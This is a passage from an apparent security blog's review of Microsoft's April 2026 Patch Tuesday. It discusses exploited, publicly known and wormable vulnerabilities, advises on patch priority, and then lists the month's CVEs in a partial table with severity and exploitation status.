monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201" target="_blank"><strong>CVE-2026-32201</strong></a><strong> - Microsoft SharePoint Server Spoofing Vulnerability<br></strong>Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825" target="_blank"><strong>CVE-2026-33825</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>This bug is listed as publicly known, and this time, we know exactly <a href="https://deadeclipse666.blogspot.com/2026/04/public-disclosure.html" target="_blank">where</a> it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827" target="_blank"><strong>CVE-2026-33827</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824" target="_blank"><strong>CVE-2026-33824</strong></a><strong> - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability<br></strong>Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.</p><p class="">Here’s the full list of CVEs released by Microsoft for April 2026:</p>





















  
  




  


  
    




<title>April 2026 Patch Tuesday</title>



<table>
<thead><tr>
  <th>CVE</th>
  <th>Title</th>
  <th>Severity</th>
  <th>CVSS</th>
  <th>Public</th>
  <th>Exploited</th>
  <th>Type</th>
</tr></thead>
<tbody>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>Yes</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5281">CVE-2026-5281 *</a></td>
  <td>Chromium: CVE-2026-5281 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>Yes</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a></td>
  <td>Microsoft Defender Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>Yes</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Critical</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a></td>
  <td>Microsoft Office Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a></td>
  <td>Remote Desktop Client Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a></td>
  <td>Windows Active Directory Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a></td>
  <td>Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>9.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a></td>
  <td>Windows TCP/IP Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.1</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171">CVE-2026-26171</a></td>
  <td>.NET Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32226">CVE-2026-32226</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.9</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178">CVE-2026-32178</a></td>
  <td>.NET Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32203">CVE-2026-32203</a></td>
  <td>.NET and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33116">CVE-2026-33116</a></td>
  <td>.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20585">CVE-2023-20585 *</a></td>
  <td>AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability</td>
  <td>Important</td>
  <td>5.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32072">CVE-2026-32072</a></td>
  <td>Active Directory Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.2</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25184">CVE-2026-25184</a></td>
  <td>Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32171">CVE-2026-32171</a></td>
  <td>Azure Logic Apps Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168">CVE-2026-32168</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192">CVE-2026-32192</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32181">CVE-2026-32181</a></td>
  <td>Connected User Experiences and Telemetry Service Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27924">CVE-2026-27924</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27923">CVE-2026-27923</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653">CVE-2026-23653</a></td>
  <td>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32631">CVE-2026-23653 *</a></td>
  <td> GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes </td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33096">CVE-2026-33096</a></td>
  <td>HTTP.sys Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25250">CVE-2026-25250 *</a></td>
  <td>MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix</td>
  <td>Important</td>
  <td>6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181">CVE-2026-26181</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32219">CVE-2026-32219</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091">CVE-2026-32091</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26152">CVE-2026-26152</a></td>
  <td>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103">CVE-2026-33103</a></td>
  <td>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32188">CVE-2026-32188</a></td>
  <td>Microsoft Excel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32189">CVE-2026-32189</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32197">CVE-2026-32197</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32198">CVE-2026-32198</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32199">CVE-2026-32199</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184">CVE-2026-32184</a></td>
  <td>Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26155">CVE-2026-26155</a></td>
  <td>Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a></td>
  <td>Microsoft Management Console Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26149">CVE-2026-26149</a></td>
  <td>Microsoft Power Apps Security Feature Bypass</td>
  <td>Important</td>
  <td>9</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32200">CVE-2026-32200</a></td>
  <td>Microsoft PowerPoint Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26143">CVE-2026-26143</a></td>
  <td>Microsoft PowerShell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33120">CVE-2026-33120 †</a></td>
  <td>Microsoft SQL Server Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20945">CVE-2026-20945</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33822">CVE-2026-33822</a></td>
  <td>Microsoft Word Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33095">CVE-2026-33095</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23657">CVE-2026-23657</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32081">CVE-2026-32081</a></td>
  <td>Package Catalog Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26170">CVE-2026-26170</a></td>
  <td>PowerShell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183">CVE-2026-26183</a></td>
  <td>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26160">CVE-2026-26160</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26159">CVE-2026-26159</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a></td>
  <td>Remote Desktop Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32085">CVE-2026-32085</a></td>
  <td>Remote Procedure Call Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32167">CVE-2026-32167</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32176">CVE-2026-32176</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0390">CVE-2026-0390</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32220">CVE-2026-32220</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32212">CVE-2026-32212</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32214">CVE-2026-32214</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32079">CVE-2026-32079</a></td>
  <td>Web Account Manager Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33104">CVE-2026-33104</a></td>
  <td>Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32196">CVE-2026-32196</a></td>
  <td>Windows Admin Center Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26178">CVE-2026-26178</a></td>
  <td>Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32073">CVE-2026-32073</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26168">CVE-2026-26168</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173">CVE-2026-26173</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26177">CVE-2026-26177</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26182">CVE-2026-26182</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27922">CVE-2026-27922</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33099">CVE-2026-33099</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33100">CVE-2026-33100</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32088">CVE-2026-32088</a></td>
  <td>Windows Biometric Service Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27913">CVE-2026-27913</a></td>
  <td>Windows BitLocker Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26175">CVE-2026-26175</a></td>
  <td>Windows Boot Manager Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32162">CVE-2026-32162</a></td>
  <td>Windows COM Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20806">CVE-2026-20806</a></td>
  <td>Windows COM Server Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26176">CVE-2026-26176</a></td>
  <td>Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27926">CVE-2026-27926</a></td>
  <td>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32070">CVE-2026-32070</a></td>
  <td>Windows Common Log File System Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33098">CVE-2026-33098</a></td>
  <td>Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
